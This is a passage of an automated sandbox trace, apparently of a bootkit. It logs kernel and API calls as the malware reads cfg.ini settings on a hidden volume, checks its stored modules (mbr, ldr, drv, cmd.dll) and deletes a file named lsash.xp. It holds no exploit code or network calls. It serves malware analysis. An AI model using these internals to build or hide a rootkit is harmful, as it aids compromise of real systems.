_Dest="0d24eb7c\\cfg.ini") returned 16 [0117.478] KeEnterCriticalRegion () [0117.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.478] ExFreePoolWithTag (P=0xfffffa80039d9970, Tag=0x0) [0117.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.478] KeLeaveCriticalRegion () [0117.478] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.478] ReleaseMutex (hMutex=0xf0) returned 1 [0117.478] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.478] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.478] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.478] KeEnterCriticalRegion () [0117.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.478] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.478] IdePortDispatch () returned 0x103 [0117.478] KeWaitForMutexObject () returned 0x0 [0117.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.479] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.479] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.479] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.479] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.479] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf600 [0117.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.479] KeLeaveCriticalRegion () [0117.479] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.479] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.479] KeEnterCriticalRegion () [0117.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.479] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.479] KeLeaveCriticalRegion () [0117.479] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.479] KeEnterCriticalRegion () [0117.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.479] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.479] IdePortDispatch () returned 0x103 [0117.479] KeWaitForMutexObject () returned 0x0 [0117.480] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.481] KeLeaveCriticalRegion () [0117.481] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.481] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.481] KeEnterCriticalRegion () [0117.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.481] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb6000 [0117.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.481] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.481] IdePortDispatch () returned 0x103 [0117.481] KeWaitForMutexObject () returned 0x0 [0117.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.481] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.481] IdePortDispatch () returned 0x103 [0117.481] KeWaitForMutexObject () returned 0x0 [0117.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.481] KeLeaveCriticalRegion () [0117.481] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.482] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.482] KeEnterCriticalRegion () [0117.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.482] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.482] KeLeaveCriticalRegion () [0117.482] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.482] KeEnterCriticalRegion () [0117.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.482] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.482] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.482] KeLeaveCriticalRegion () [0117.482] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.482] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.482] KeEnterCriticalRegion () [0117.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.482] ExFreePoolWithTag (P=0xfffffa80039cf600, Tag=0x0) [0117.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.482] KeLeaveCriticalRegion () [0117.482] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.482] ReleaseMutex (hMutex=0xf0) returned 1 [0117.482] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.482] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.482] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.482] KeEnterCriticalRegion () [0117.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.482] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.482] IdePortDispatch () returned 0x103 [0117.483] KeWaitForMutexObject () returned 0x0 [0117.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.483] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.483] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.483] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.483] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.483] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c1430 [0117.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.483] KeLeaveCriticalRegion () [0117.483] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.483] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.483] KeEnterCriticalRegion () [0117.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.483] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.483] KeLeaveCriticalRegion () [0117.483] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.483] KeEnterCriticalRegion () [0117.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.483] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.483] IdePortDispatch () returned 0x103 [0117.483] KeWaitForMutexObject () returned 0x0 [0117.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.483] KeLeaveCriticalRegion () [0117.483] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.483] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.484] KeEnterCriticalRegion () [0117.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.484] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb7000 [0117.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.484] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.484] IdePortDispatch () returned 0x103 [0117.484] KeWaitForMutexObject () returned 0x0 [0117.484] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.484] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.484] IdePortDispatch () returned 0x103 [0117.484] KeWaitForMutexObject () returned 0x0 [0117.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.484] KeLeaveCriticalRegion () [0117.484] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.485] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.485] KeEnterCriticalRegion () [0117.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.485] KeLeaveCriticalRegion () [0117.485] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.485] KeEnterCriticalRegion () [0117.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.485] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.485] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d97d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.485] KeLeaveCriticalRegion () [0117.485] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.485] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.485] KeEnterCriticalRegion () [0117.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.485] ExFreePoolWithTag (P=0xfffffa80039c1430, Tag=0x0) [0117.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.485] KeLeaveCriticalRegion () [0117.485] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.485] ReleaseMutex (hMutex=0xf0) returned 1 [0117.485] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.485] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.485] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.485] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.485] KeEnterCriticalRegion () [0117.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.485] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.485] IdePortDispatch () returned 0x103 [0117.485] KeWaitForMutexObject () returned 0x0 [0117.486] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.486] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.486] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.486] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.486] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.486] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.486] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.486] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.486] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.486] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.486] KeLeaveCriticalRegion () [0117.486] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.486] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.486] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.486] KeEnterCriticalRegion () [0117.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.486] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.486] IdePortDispatch () returned 0x103 [0117.486] KeWaitForMutexObject () returned 0x0 [0117.486] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.486] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.486] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.486] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.486] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.486] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.486] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.486] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.486] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.486] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.487] KeLeaveCriticalRegion () [0117.487] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.487] ReleaseMutex (hMutex=0x100) returned 1 [0117.487] Sleep (dwMilliseconds=0x2bf20) [0117.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x693b0c50, dwHighDateTime=0x1d24fa4)) [0117.493] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.493] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.493] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.493] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.493] KeEnterCriticalRegion () [0117.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.493] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.493] IdePortDispatch () returned 0x103 [0117.493] KeWaitForMutexObject () returned 0x0 [0117.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.494] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.494] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.494] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.494] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.494] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c1340 [0117.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.494] KeLeaveCriticalRegion () [0117.494] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.494] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.494] KeEnterCriticalRegion () [0117.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.494] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.494] KeLeaveCriticalRegion () [0117.494] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.494] KeEnterCriticalRegion () [0117.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.494] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.494] IdePortDispatch () returned 0x103 [0117.494] KeWaitForMutexObject () returned 0x0 [0117.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.494] KeLeaveCriticalRegion () [0117.494] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.494] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.494] KeEnterCriticalRegion () [0117.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, 